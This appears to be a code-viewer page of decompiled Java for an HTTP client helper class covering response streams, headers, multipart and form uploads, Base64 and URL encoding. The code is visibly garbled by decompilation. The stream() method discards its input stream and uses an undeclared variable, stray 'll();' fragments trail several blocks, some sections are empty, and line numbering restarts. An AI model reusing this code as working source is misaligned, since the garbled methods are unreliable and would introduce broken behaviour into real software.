    this.uncompress = uncompress;
    return this;
}



742
743
744
745

byteStream

Java Code
protected ByteArrayOutputStream byteStream() {
    int size = contentLength();
    if (size > 0) {
        return new ByteArrayOutputStream(size);
    }
    return new ByteArrayOutputStream();
}



747
748
749
750
751
752
753

body

Java Code
public String body(String charset) throws HttpRequestException {
    OutputStream output = byteStream();
    try {
        copy(buffer(), output);
        return output.toString(getValidCharset(charset));
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



755
756
757
758
759
760
761
762
763

body

Java Code
public String body() throws HttpRequestException {
    return body(charset());
}



765
766
767

body

Java Code
public HttpRequest body(AtomicReference<String> output) throws HttpRequestException {
    output.set(body());
    return this;
}



769
770
771
772

body

Java Code
public HttpRequest body(AtomicReference<String> output, String charset) throws HttpRequestException {
    output.set(body(charset));
    return this;
}



774
775
776
777

isBodyEmpty

Java Code
public boolean isBodyEmpty() throws HttpRequestException {
    return contentLength() == 0;
}



779
780
781

bytes

Java Code
public byte[] bytes() throws HttpRequestException {
    OutputStream output = byteStream();
    try {
        copy(buffer(), output);
        return output.toByteArray();
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



783
784
785
786
787
788
789
790
791

buffer

Java Code
public BufferedInputStream buffer() throws HttpRequestException {
    return new BufferedInputStream(stream(), this.bufferSize);
}



793
794
795

stream

Java Code
public InputStream stream() throws HttpRequestException {
    if (code() < 400) {
        try {
            InputStream stream = getConnection().getInputStream();
        } catch (IOException e) {
            throw new HttpRequestException(e);
        }
    }
    stream = getConnection().getErrorStream();
    if (stream == null) {
        try {
            stream = getConnection().getInputStream();
        } catch (IOException e2) {
            throw new HttpRequestException(e2);
        }
    }
    if (!this.uncompress || !ENCODING_GZIP.equals(contentEncoding())) {
        return stream;
    }
    try {
        return new GZIPInputStream(stream);
    } catch (IOException e22) {
        throw new HttpRequestException(e22);
    }
}



797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821

reader

Java Code
public InputStreamReader reader(String charset) throws HttpRequestException {
    try {
        return new InputStreamReader(stream(), getValidCharset(charset));
    } catch (UnsupportedEncodingException e) {
        throw new HttpRequestException(e);
    }
}



823
824
825
826
827
828
829

reader

Java Code
public InputStreamReader reader() throws HttpRequestException {
    return reader(charset());
}



831
832
833

bufferedReader

Java Code
public BufferedReader bufferedReader(String charset) throws HttpRequestException {
    return new BufferedReader(reader(charset), this.bufferSize);
}



835
836
837

bufferedReader

Java Code
public BufferedReader bufferedReader() throws HttpRequestException {
    return bufferedReader(charset());
}



839
840
841

receive

Java Code
public HttpRequest receive(File file) throws HttpRequestException {
    try {
        final OutputStream output = new BufferedOutputStream(new FileOutputStream(file), this.bufferSize);
        return (HttpRequest) new CloseOperation<HttpRequest>(this.ignoreCloseExceptions, output) {
            protected HttpRequest run() throws HttpRequestException, IOException {
                return HttpRequest.this.receive(output);
            }
        }.call();
    } catch (FileNotFoundException e) {
        throw new HttpRequestException(e);
    }
}



843
844
845
846
847
848
849
850
851
852
853
854

run

Java Code
protected HttpRequest run() throws HttpRequestException, IOException {
    return HttpRequest.this.receive(output);
}



847
848
849

receive

Java Code
public HttpRequest receive(OutputStream output) throws HttpRequestException {
    try {
        return copy(buffer(), output);
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



856
857
858
859
860
861
862

receive

Java Code
public HttpRequest receive(PrintStream output) throws HttpRequestException {
    return receive((OutputStream) output);
}



864
865
866

receive

Java Code
public HttpRequest receive(Appendable appendable) throws HttpRequestException {
    BufferedReader reader = bufferedReader();
    final BufferedReader bufferedReader = reader;
    final Appendable appendable2 = appendable;
    return (HttpRequest) new CloseOperation<HttpRequest>(reader, this.ignoreCloseExceptions) {
        public HttpRequest run() throws IOException {



868
869
870
871
872
873

run

Java Code
public HttpRequest run() throws IOException {
    CharBuffer buffer = CharBuffer.allocate(HttpRequest.this.bufferSize);
    while (true) {
        int read = bufferedReader.read(buffer);
        if (read == -1) {
            return HttpRequest.this;
        }
        buffer.rewind();
        appendable2.append(buffer, 0, read);
        buffer.rewind();
    }
}
ll();



873
874
875
876
877
878
879
880
881
882
883
884
885

receive

Java Code
public HttpRequest receive(Writer writer) throws HttpRequestException {
    BufferedReader reader = bufferedReader();
    final BufferedReader bufferedReader = reader;
    final Writer writer2 = writer;
    return (HttpRequest) new CloseOperation<HttpRequest>(reader, this.ignoreCloseExceptions) {
        public HttpRequest run() throws IOException {



888
889
890
891
892
893

run

Java Code
public HttpRequest run() throws IOException {
    return HttpRequest.this.copy(bufferedReader, writer2);
}



893
894
895

readTimeout

Java Code
public HttpRequest readTimeout(int timeout) {
    getConnection().setReadTimeout(timeout);
    return this;
}



899
900
901
902

connectTimeout

Java Code
public HttpRequest connectTimeout(int timeout) {
    getConnection().setConnectTimeout(timeout);
    return this;
}



904
905
906
907

header

Java Code
public HttpRequest header(String name, String value) {
    getConnection().setRequestProperty(name, value);
    return this;
}



909
910
911
912

header

Java Code
public HttpRequest header(String name, Number value) {
    return header(name, value != null ? value.toString() : null);
}



914
915
916

headers

Java Code
public HttpRequest headers(Map<String, String> headers) {
    if (!headers.isEmpty()) {
        for (Entry header : headers.entrySet()) {
            header(header);
        }
    }
    return this;
}



918
919
920
921
922
923
924
925

header

Java Code
public HttpRequest header(Entry<String, String> header) {
    return header((String) header.getKey(), (String) header.getValue());
}



927
928
929

header

Java Code
public String header(String name) throws HttpRequestException {
    closeOutputQuietly();
    return getConnection().getHeaderField(name);
}



931
932
933
934

headers

Java Code
public Map<String, List<String>> headers() throws HttpRequestException {
    closeOutputQuietly();
    return getConnection().getHeaderFields();
}



936
937
938
939

dateHeader

Java Code
public long dateHeader(String name) throws HttpRequestException {
    return dateHeader(name, -1);
}



941
942
943

dateHeader

Java Code
public long dateHeader(String name, long defaultValue) throws HttpRequestException {
    closeOutputQuietly();
    return getConnection().getHeaderFieldDate(name, defaultValue);
}



945
946
947
948

intHeader

Java Code
public int intHeader(String name) throws HttpRequestException {
    return intHeader(name, -1);
}



950
951
952

intHeader

Java Code
public int intHeader(String name, int defaultValue) throws HttpRequestException {
    closeOutputQuietly();
    return getConnection().getHeaderFieldInt(name, defaultValue);
}



954
955
956
957

headers

Java Code
public String[] headers(String name) {
    Map<String, List<String>> headers = headers();
    if (headers == null || headers.isEmpty()) {
        return EMPTY_STRINGS;
    }
    List<String> values = (List) headers.get(name);
    if (values == null || values.isEmpty()) {
        return EMPTY_STRINGS;
    }
    return (String[]) values.toArray(new String[values.size()]);
}



959
960
961
962
963
964
965
966
967
968
969

parameter

Java Code
public String parameter(String headerName, String paramName) {
    return getParam(header(headerName), paramName);
}



971
972
973

parameters

Java Code
public Map<String, String> parameters(String headerName) {
    return getParams(header(headerName));
}



975
976
977

getParams

Java Code
protected Map<String, String> getParams(String header) {
    if (header == null || header.length() == 0) {
        return Collections.emptyMap();
    }
    int headerLength = header.length();
    int start = header.indexOf(59) + 1;
    if (start == 0 || start == headerLength) {
        return Collections.emptyMap();
    }
    int end = header.indexOf(59, start);
    if (end == -1) {
        end = headerLength;
    }
    Map<String, String> params = new LinkedHashMap();
    while (start < end) {
        int nameEnd = header.indexOf(61, start);
        if (nameEnd != -1 && nameEnd < end) {
            String name = header.substring(start, nameEnd).trim();
            if (name.length() > 0) {
                String value = header.substring(nameEnd + 1, end).trim();
                int length = value.length();
                if (length != 0) {
                    if (length > 2 && '\"' == value.charAt(0) && '\"' == value.charAt(length - 1)) {
                        params.put(name, value.substring(1, length - 1));
                    } else {
                        params.put(name, value);
                    }
                }
            }
        }
        start = end + 1;
        end = header.indexOf(59, start);
        if (end == -1) {
            end = headerLength;
        }
    }
    return params;
}



979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016

getParam

Java Code
protected String getParam(String value, String paramName) {
    if (value == null || value.length() == 0) {
        return null;
    }
    int length = value.length();
    int start = value.indexOf(59) + 1;
    if (start == 0 || start == length) {
        return null;
    }
    int end = value.indexOf(59, start);
    if (end == -1) {
        end = length;
    }
    while (start < end) {
        int nameEnd = value.indexOf(61, start);
        if (nameEnd != -1 && nameEnd < end && paramName.equals(value.substring(start, nameEnd).trim())) {
            String paramValue = value.substring(nameEnd + 1, end).trim();
            int valueLength = paramValue.length();
            if (valueLength != 0) {
                if (valueLength > 2 && '\"' == paramValue.charAt(0) && '\"' == paramValue.charAt(valueLength - 1)) {
                    return paramValue.substring(1, valueLength - 1);
                }
                return paramValue;
            }
        }
        start = end + 1;
        end = value.indexOf(59, start);
        if (end == -1) {
            end = length;
        }
    }
    return null;
}



1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050

charset

Java Code
public String charset() {
    return parameter(HEADER_CONTENT_TYPE, PARAM_CHARSET);
}



1052
1053
1054

userAgent

Java Code
public HttpRequest userAgent(String userAgent) {
    return header("User-Agent", userAgent);
}



1056
1057
1058

referer

Java Code
public HttpRequest referer(String referer) {
    return header(HEADER_REFERER, referer);
}



1060
1061
1062

useCaches

Java Code
public HttpRequest useCaches(boolean useCaches) {
    getConnection().setUseCaches(useCaches);
    return this;
}



1064
1065
1066
1067

acceptEncoding

Java Code
public HttpRequest acceptEncoding(String acceptEncoding) {
    return header(HEADER_ACCEPT_ENCODING, acceptEncoding);
}



1069
1070
1071

acceptGzipEncoding

Java Code
public HttpRequest acceptGzipEncoding() {
    return acceptEncoding(ENCODING_GZIP);
}



1073
1074
1075

acceptCharset

Java Code
public HttpRequest acceptCharset(String acceptCharset) {
    return header(HEADER_ACCEPT_CHARSET, acceptCharset);
}



1077
1078
1079

contentEncoding

Java Code
public String contentEncoding() {
    return header(HEADER_CONTENT_ENCODING);
}



1081
1082
1083

server

Java Code
public String server() {
    return header(HEADER_SERVER);
}



1085
1086
1087

date

Java Code
public long date() {
    return dateHeader(HEADER_DATE);
}



1089
1090
1091

cacheControl

Java Code
public String cacheControl() {
    return header(HEADER_CACHE_CONTROL);
}



1093
1094
1095

eTag

Java Code
public String eTag() {
    return header(HEADER_ETAG);
}



1097
1098
1099

expires

Java Code
public long expires() {
    return dateHeader(HEADER_EXPIRES);
}



1101
1102
1103

lastModified

Java Code
public long lastModified() {
    return dateHeader(HEADER_LAST_MODIFIED);
}



1105
1106
1107

location

Java Code
public String location() {
    return header(HEADER_LOCATION);
}



1109
1110
1111

authorization

Java Code
public HttpRequest authorization(String authorization) {
    return header(HEADER_AUTHORIZATION, authorization);
}



1113
1114
1115

proxyAuthorization

Java Code
public HttpRequest proxyAuthorization(String proxyAuthorization) {
    return header(HEADER_PROXY_AUTHORIZATION, proxyAuthorization);
}



1117
1118
1119

basic

Java Code
public HttpRequest basic(String name, String password) {
    return authorization("Basic " + Base64.encode(name + ':' + password));
}



1121
1122
1123

proxyBasic

Java Code
public HttpRequest proxyBasic(String name, String password) {
    return proxyAuthorization("Basic " + Base64.encode(name + ':' + password));
}



1125
1126
1127

ifModifiedSince

Java Code
public HttpRequest ifModifiedSince(long ifModifiedSince) {
    getConnection().setIfModifiedSince(ifModifiedSince);
    return this;
}



1129
1130
1131
1132

ifNoneMatch

Java Code
public HttpRequest ifNoneMatch(String ifNoneMatch) {
    return header(HEADER_IF_NONE_MATCH, ifNoneMatch);
}



1134
1135
1136

contentType

Java Code
public HttpRequest contentType(String contentType) {
    return contentType(contentType, null);
}



1138
1139
1140

contentType

Java Code
public HttpRequest contentType(String contentType, String charset) {
    if (charset == null || charset.length() <= 0) {
        return header(HEADER_CONTENT_TYPE, contentType);
    }
    String separator = "; charset=";
    return header(HEADER_CONTENT_TYPE, contentType + "; charset=" + charset);
}



1142
1143
1144
1145
1146
1147
1148

contentType

Java Code
public String contentType() {
    return header(HEADER_CONTENT_TYPE);
}



1150
1151
1152

contentLength

Java Code
public int contentLength() {
    return intHeader(HEADER_CONTENT_LENGTH);
}



1154
1155
1156

contentLength

Java Code
public HttpRequest contentLength(String contentLength) {
    return contentLength(Integer.parseInt(contentLength));
}



1158
1159
1160

contentLength

Java Code
public HttpRequest contentLength(int contentLength) {
    getConnection().setFixedLengthStreamingMode(contentLength);
    return this;
}



1162
1163
1164
1165

accept

Java Code
public HttpRequest accept(String accept) {
    return header("Accept", accept);
}



1167
1168
1169

acceptJson

Java Code
public HttpRequest acceptJson() {
    return accept("application/json");
}



1171
1172
1173

copy

Java Code
protected HttpRequest copy(InputStream input, OutputStream output) throws IOException {
    final InputStream inputStream = input;
    final OutputStream outputStream = output;
    return (HttpRequest) new CloseOperation<HttpRequest>(input, this.ignoreCloseExceptions) {
        public HttpRequest run() throws IOException {



1175
1176
1177
1178
1179

run

Java Code
public HttpRequest run() throws IOException {
    byte[] buffer = new byte[HttpRequest.this.bufferSize];
    while (true) {
        int read = inputStream.read(buffer);
        if (read == -1) {
            return HttpRequest.this;
        }
        outputStream.write(buffer, 0, read);
    }
}
ll();



1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189

copy

Java Code
protected HttpRequest copy(Reader input, Writer output) throws IOException {
    final Reader reader = input;
    final Writer writer = output;
    return (HttpRequest) new CloseOperation<HttpRequest>(input, this.ignoreCloseExceptions) {
        public HttpRequest run() throws IOException {



1192
1193
1194
1195
1196

run

Java Code
public HttpRequest run() throws IOException {
    char[] buffer = new char[HttpRequest.this.bufferSize];
    while (true) {
        int read = reader.read(buffer);
        if (read == -1) {
            return HttpRequest.this;
        }
        writer.write(buffer, 0, read);
    }
}
ll();



1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206

closeOutput

Java Code
protected HttpRequest closeOutput() throws IOException {
    if (this.output != null) {
        if (this.multipart) {
            this.output.write("\r\n--00content0boundary00--\r\n");
        }
        if (this.ignoreCloseExceptions) {
            try {
                this.output.close();
            } catch (IOException e) {
            }
        } else {
            this.output.close();
        }
        this.output = null;
    }
    return this;
}



1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225

closeOutputQuietly

Java Code
protected HttpRequest closeOutputQuietly() throws HttpRequestException {
    try {
        return closeOutput();
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1227
1228
1229
1230
1231
1232
1233

openOutput

Java Code
protected HttpRequest openOutput() throws IOException {
    if (this.output == null) {
        getConnection().setDoOutput(true);
        this.output = new RequestOutputStream(getConnection().getOutputStream(), getParam(getConnection().getRequestProperty(HEADER_CONTENT_TYPE), PARAM_CHARSET), this.bufferSize);
    }
    return this;
}



1235
1236
1237
1238
1239
1240
1241

startPart

Java Code
protected HttpRequest startPart() throws IOException {
    if (this.multipart) {
        this.output.write("\r\n--00content0boundary00\r\n");
    } else {
        this.multipart = true;
        contentType(CONTENT_TYPE_MULTIPART).openOutput();
        this.output.write("--00content0boundary00\r\n");
    }
    return this;
}



1243
1244
1245
1246
1247
1248
1249
1250
1251
1252

writePartHeader

Java Code
protected HttpRequest writePartHeader(String name, String filename) throws IOException {
    return writePartHeader(name, filename, null);
}



1254
1255
1256

writePartHeader

Java Code
protected HttpRequest writePartHeader(String name, String filename, String contentType) throws IOException {
    StringBuilder partBuffer = new StringBuilder();
    partBuffer.append("form-data; name=\"").append(name);
    if (filename != null) {
        partBuffer.append("\"; filename=\"").append(filename);
    }
    partBuffer.append('\"');
    partHeader("Content-Disposition", partBuffer.toString());
    if (contentType != null) {
        partHeader(HEADER_CONTENT_TYPE, contentType);
    }
    return send(CRLF);
}



1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270

part

Java Code
public HttpRequest part(String name, String part) {
    return part(name, null, part);
}



1272
1273
1274

part

Java Code
public HttpRequest part(String name, String filename, String part) throws HttpRequestException {
    return part(name, filename, null, part);
}



1276
1277
1278

part

Java Code
public HttpRequest part(String name, String filename, String contentType, String part) throws HttpRequestException {
    try {
        startPart();
        writePartHeader(name, filename, contentType);
        this.output.write(part);
        return this;
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1280
1281
1282
1283
1284
1285
1286
1287
1288
1289

part

Java Code
public HttpRequest part(String name, Number part) throws HttpRequestException {
    return part(name, null, part);
}



1291
1292
1293

part

Java Code
public HttpRequest part(String name, String filename, Number part) throws HttpRequestException {
    return part(name, filename, part != null ? part.toString() : null);
}



1295
1296
1297

part

Java Code
public HttpRequest part(String name, File part) throws HttpRequestException {
    return part(name, null, part);
}



1299
1300
1301

part

Java Code
public HttpRequest part(String name, String filename, File part) throws HttpRequestException {
    return part(name, filename, null, part);
}



1303
1304
1305

part

Java Code
public HttpRequest part(String name, String filename, String contentType, File part) throws HttpRequestException {
    IOException e;
    Throwable th;
    InputStream stream = null;
    try {
        InputStream stream2 = new BufferedInputStream(new FileInputStream(part));
        try {
            HttpRequest part2 = part(name, filename, contentType, stream2);
            if (stream2 != null) {
                try {
                    stream2.close();
                } catch (IOException e2) {
                }
            }
            return part2;
        } catch (IOException e3) {
            e = e3;
            stream = stream2;
            try {
                throw new HttpRequestException(e);
            } catch (Throwable th2) {
                th = th2;
                if (stream != null) {
                    try {
                        stream.close();
                    } catch (IOException e4) {
                    }
                }
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            stream = stream2;
            if (stream != null) {
                stream.close();
            }
            throw th;
        }
    } catch (IOException e5) {
        e = e5;
        throw new HttpRequestException(e);
    }
}



1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349

part

Java Code
public HttpRequest part(String name, InputStream part) throws HttpRequestException {
    return part(name, null, null, part);
}



1351
1352
1353

part

Java Code
public HttpRequest part(String name, String filename, String contentType, InputStream part) throws HttpRequestException {
    try {
        startPart();
        writePartHeader(name, filename, contentType);
        copy(part, this.output);
        return this;
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1355
1356
1357
1358
1359
1360
1361
1362
1363
1364

partHeader

Java Code
public HttpRequest partHeader(String name, String value) throws HttpRequestException {
    return send((CharSequence) name).send((CharSequence) ": ").send((CharSequence) value).send(CRLF);
}



1366
1367
1368

send

Java Code
public HttpRequest send(File input) throws HttpRequestException {
    try {
        return send(new BufferedInputStream(new FileInputStream(input)));
    } catch (FileNotFoundException e) {
        throw new HttpRequestException(e);
    }
}



1370
1371
1372
1373
1374
1375
1376

send

Java Code
public HttpRequest send(byte[] input) throws HttpRequestException {
    return send(new ByteArrayInputStream(input));
}



1378
1379
1380

send

Java Code
public HttpRequest send(InputStream input) throws HttpRequestException {
    try {
        openOutput();
        copy(input, this.output);
        return this;
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1382
1383
1384
1385
1386
1387
1388
1389
1390

send

Java Code
public HttpRequest send(final Reader input) throws HttpRequestException {
    try {
        openOutput();
        final Writer writer = new OutputStreamWriter(this.output, this.output.encoder.charset());
        return (HttpRequest) new FlushOperation<HttpRequest>(writer) {
            protected HttpRequest run() throws IOException {
                return HttpRequest.this.copy(input, writer);
            }
        }.call();
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404

run

Java Code
protected HttpRequest run() throws IOException {
    return HttpRequest.this.copy(input, writer);
}



1397
1398
1399

send

Java Code
public HttpRequest send(CharSequence value) throws HttpRequestException {
    try {
        openOutput();
        this.output.write(value.toString());
        return this;
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1406
1407
1408
1409
1410
1411
1412
1413
1414

writer

Java Code
public OutputStreamWriter writer() throws HttpRequestException {
    try {
        openOutput();
        return new OutputStreamWriter(this.output, this.output.encoder.charset());
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1416
1417
1418
1419
1420
1421
1422
1423

form

Java Code
public HttpRequest form(Map<?, ?> values) throws HttpRequestException {
    return form((Map) values, CHARSET_UTF8);
}



1425
1426
1427

form

Java Code
public HttpRequest form(Entry<?, ?> entry) throws HttpRequestException {
    return form((Entry) entry, CHARSET_UTF8);
}



1429
1430
1431

form

Java Code
public HttpRequest form(Entry<?, ?> entry, String charset) throws HttpRequestException {
    return form(entry.getKey(), entry.getValue(), charset);
}



1433
1434
1435

form

Java Code
public HttpRequest form(Object name, Object value) throws HttpRequestException {
    return form(name, value, CHARSET_UTF8);
}



1437
1438
1439

form

Java Code
public HttpRequest form(Object name, Object value, String charset) throws HttpRequestException {
    boolean first = !this.form;
    if (first) {
        contentType(CONTENT_TYPE_FORM, charset);
        this.form = true;
    }
    charset = getValidCharset(charset);
    try {
        openOutput();
        if (!first) {
            this.output.write(38);
        }
        this.output.write(URLEncoder.encode(name.toString(), charset));
        this.output.write(61);
        if (value != null) {
            this.output.write(URLEncoder.encode(value.toString(), charset));
        }
        return this;
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462

form

Java Code
public HttpRequest form(Map<?, ?> values, String charset) throws HttpRequestException {
    if (!values.isEmpty()) {
        for (Entry entry : values.entrySet()) {
            form(entry, charset);
        }
    }
    return this;
}



1464
1465
1466
1467
1468
1469
1470
1471

trustAllCerts

Java Code
public HttpRequest trustAllCerts() throws HttpRequestException {
    return this;
}



1473
1474
1475

trustAllHosts

Java Code
public HttpRequest trustAllHosts() {
    return this;
}



1477
1478
1479

url

Java Code
public URL url() {
    return getConnection().getURL();
}



1481
1482
1483

method

Java Code
public String method() {
    return getConnection().getRequestMethod();
}



1485
1486
1487

useProxy

Java Code
public HttpRequest useProxy(String proxyHost, int proxyPort) {
    if (this.connection != null) {
        throw new IllegalStateException("The connection has already been created. This method must be called before reading or writing to the request.");
    }
    this.httpProxyHost = proxyHost;
    this.httpProxyPort = proxyPort;
    return this;
}



1489
1490
1491
1492
1493
1494
1495
1496

followRedirects

Java Code
public HttpRequest followRedirects(boolean followRedirects) {
    getConnection().setInstanceFollowRedirects(followRedirects);
    return this;
}



1498
1499
1500
1501

Base64

Java Code



encode3to4

Java Code
private static byte[] encode3to4(byte[] source, int srcOffset, int numSigBytes, byte[] destination, int destOffset) {
    int i;
    int i2 = 0;
    byte[] ALPHABET = _STANDARD_ALPHABET;
    if (numSigBytes > 0) {
        i = (source[srcOffset] << 24) >>> 8;
    } else {
        i = 0;
    }
    int i3 = (numSigBytes > 1 ? (source[srcOffset + 1] << 24) >>> 16 : 0) | i;
    if (numSigBytes > 2) {
        i2 = (source[srcOffset + 2] << 24) >>> 24;
    }
    int inBuff = i3 | i2;
    switch (numSigBytes) {
        case 1:
            destination[destOffset] = ALPHABET[inBuff >>> 18];
            destination[destOffset + 1] = ALPHABET[(inBuff >>> 12) & 63];
            destination[destOffset + 2] = EQUALS_SIGN;
            destination[destOffset + 3] = EQUALS_SIGN;
            break;
        case 2:
            destination[destOffset] = ALPHABET[inBuff >>> 18];
            destination[destOffset + 1] = ALPHABET[(inBuff >>> 12) & 63];
            destination[destOffset + 2] = ALPHABET[(inBuff >>> 6) & 63];
            destination[destOffset + 3] = EQUALS_SIGN;
            break;
        case 3:
            destination[destOffset] = ALPHABET[inBuff >>> 18];
            destination[destOffset + 1] = ALPHABET[(inBuff >>> 12) & 63];
            destination[destOffset + 2] = ALPHABET[(inBuff >>> 6) & 63];
            destination[destOffset + 3] = ALPHABET[inBuff & 63];
            break;
    }
    return destination;
}



106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

encode

Java Code
public static String encode(String string) {
    byte[] bytes;
    try {
        bytes = string.getBytes(PREFERRED_ENCODING);
    } catch (UnsupportedEncodingException e) {
        bytes = string.getBytes();
    }
    return encodeBytes(bytes);
}



143
144
145
146
147
148
149
150
151

encodeBytes

Java Code
public static String encodeBytes(byte[] source) {
    return encodeBytes(source, 0, source.length);
}



153
154
155

encodeBytes

Java Code
public static String encodeBytes(byte[] source, int off, int len) {
    byte[] encoded = encodeBytesToBytes(source, off, len);
    try {
        return new String(encoded, PREFERRED_ENCODING);
    } catch (UnsupportedEncodingException e) {
        return new String(encoded);
    }
}



157
158
159
160
161
162
163
164

encodeBytesToBytes

Java Code
public static byte[] encodeBytesToBytes(byte[] source, int off, int len) {
    if (source == null) {
        throw new NullPointerException("Cannot serialize a null array.");
    } else if (off < 0) {
        throw new IllegalArgumentException("Cannot have negative offset: " + off);
    } else if (len < 0) {
        throw new IllegalArgumentException("Cannot have length offset: " + len);
    } else if (off + len > source.length) {
        throw new IllegalArgumentException(String.format(Locale.ENGLISH, "Cannot have offset of %d and length of %d with array of length %d", new Object[]{Integer.valueOf(off), Integer.valueOf(len), Integer.valueOf(source.length)}));
    } else {
        int i;
        int i2 = (len / 3) * 4;
        if (len % 3 > 0) {
            i = 4;
        } else {
            i = 0;
        }
        byte[] outBuff = new byte[(i2 + i)];
        int d = 0;
        int e = 0;
        int len2 = len - 2;
        while (d < len2) {
            encode3to4(source, d + off, 3, outBuff, e);
            d += 3;
            e += 4;
        }
        if (d < len) {
            encode3to4(source, d + off, len - d, outBuff, e);
            e += 4;
        }
        if (e > outBuff.length - 1) {
            return outBuff;
        }
        byte[] finalOut = new byte[e];
        System.arraycopy(outBuff, 0, finalOut, 0, e);
        return finalOut;
    }
}



166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203

create

Java Code
public HttpURLConnection create(URL url) throws IOException {
    return (HttpURLConnection) url.openConnection();
}



208
209
210

create

Java Code
public HttpURLConnection create(URL url, Proxy proxy) throws IOException {
    return (HttpURLConnection) url.openConnection(proxy);
}



212
213
214

create

Java Code



create

Java Code



HttpRequestException

Java Code
protected HttpRequestException(IOException cause) {
    super(cause);
}



225
226
227

getCause

Java Code
public IOException getCause() {
    return (IOException) super.getCause();
}



229
230
231

done

Java Code



run

Java Code



Operation

Java Code



call

Java Code
public V call() throws HttpRequestException {
    boolean thrown;
    try {
        V run = run();
        try {
            done();
        } catch (IOException e) {
            if (!false) {
                throw new HttpRequestException(e);
            }
        }
        return run;
    } catch (HttpRequestException e2) {
        thrown = true;
        throw e2;
    } catch (IOException e3) {
        thrown = true;
        throw new HttpRequestException(e3);
    } catch (Throwable th) {
        try {
            done();
        } catch (IOException e32) {
            if (!thrown) {
                throw new HttpRequestException(e32);
            }
        }
    }
}



242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269

RequestOutputStream

Java Code
public RequestOutputStream(OutputStream stream, String charset, int bufferSize) {
    super(stream, bufferSize);
    this.encoder = Charset.forName(HttpRequest.getValidCharset(charset)).newEncoder();
}



275
276
277
278

write

Java Code
public RequestOutputStream write(String value) throws IOException {
    ByteBuffer bytes = this.encoder.encode(CharBuffer.wrap(value));
    super.write(bytes.array(), 0, bytes.limit());
    return this;
}



280
281
282
283
284

CloseOperation

Java Code
protected CloseOperation(Closeable closeable, boolean ignoreCloseExceptions) {
    this.closeable = closeable;
    this.ignoreCloseExceptions = ignoreCloseExceptions;
}



291
292
293
294

done

Java Code
protected void done() throws IOException {
    if (this.closeable instanceof Flushable) {
        ((Flushable) this.closeable).flush();
    }
    if (this.ignoreCloseExceptions) {
        try {
            this.closeable.close();
            return;
        } catch (IOException e) {
            return;
        }
    }
    this.closeable.close();
}



296
297
298
299
300
301
302
303
304
305
306
307
308
309

FlushOperation

Java Code
protected FlushOperation(Flushable flushable) {
    this.flushable = flushable;
}



315
316
317

done

Java Code
protected void done() throws IOException {
    this.flushable.flush();
}



319
320
321

UrlUtils

Java Code



getQueryParams

Java Code
public static TreeMap<String, String> getQueryParams(URI uri, boolean decode) {
    return getQueryParams(uri.getRawQuery(), decode);
}



16
17
18

getQueryParams

Java Code
public static TreeMap<String, String> getQueryParams(String paramsString, boolean decode) {
    TreeMap<String, String> params = new TreeMap();
    if (paramsString != null) {
        for (String nameValuePairString : paramsString.split("&")) {
            String[] nameValuePair = nameValuePairString.split("=");
            if (nameValuePair.length == 2) {
                if (decode) {
                    params.put(urlDecode(nameValuePair[0]), urlDecode(nameValuePair[1]));
                } else {
                    params.put(nameValuePair[0], nameValuePair[1]);
                }
            } else if (!TextUtils.isEmpty(nameValuePair[0])) {
                if (decode) {
                    params.put(urlDecode(nameValuePair[0]), "");
                } else {
                    params.put(nameValuePair[0], "");
                }
            }
        }
    }
    return params;
}



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

urlEncode

Java Code
public static String urlEncode(String s) {
    if (s == null) {
        return "";
    }
    try {
        return URLEncoder.encode(s, UTF8);
    } catch (UnsupportedEncodingException unlikely) {
        throw new RuntimeException(unlikely.getMessage(), unlikely);
    }
}



43
44
45
46
47
48
49
50
51
52

urlDecode

Java Code
public static String urlDecode(String s) {
    if (s == null) {
        return "";
    }
    try {
        return URLDecoder.decode(s, UTF8);
    } catch (UnsupportedEncodingException unlikely) {
        throw new RuntimeException(unlikely.getMessage(), unlikely);
    }
}



54
55
56
57
58
59
60
61
62
63

percentEncode

Java Code
public static String percentEncode(String s) {
    if (s == null) {
        return "";
    }
    StringBuilder sb = new StringBuilder();
    String encoded = urlEncode(s);
    int encodedLength = encoded.length();
    int i = 0;
    while (i < encodedLength) {
        char c = encoded.charAt(i);
        if (c == '*') {
            sb.append("%2A");
        } else if (c == '+') {
            sb.append("%20");
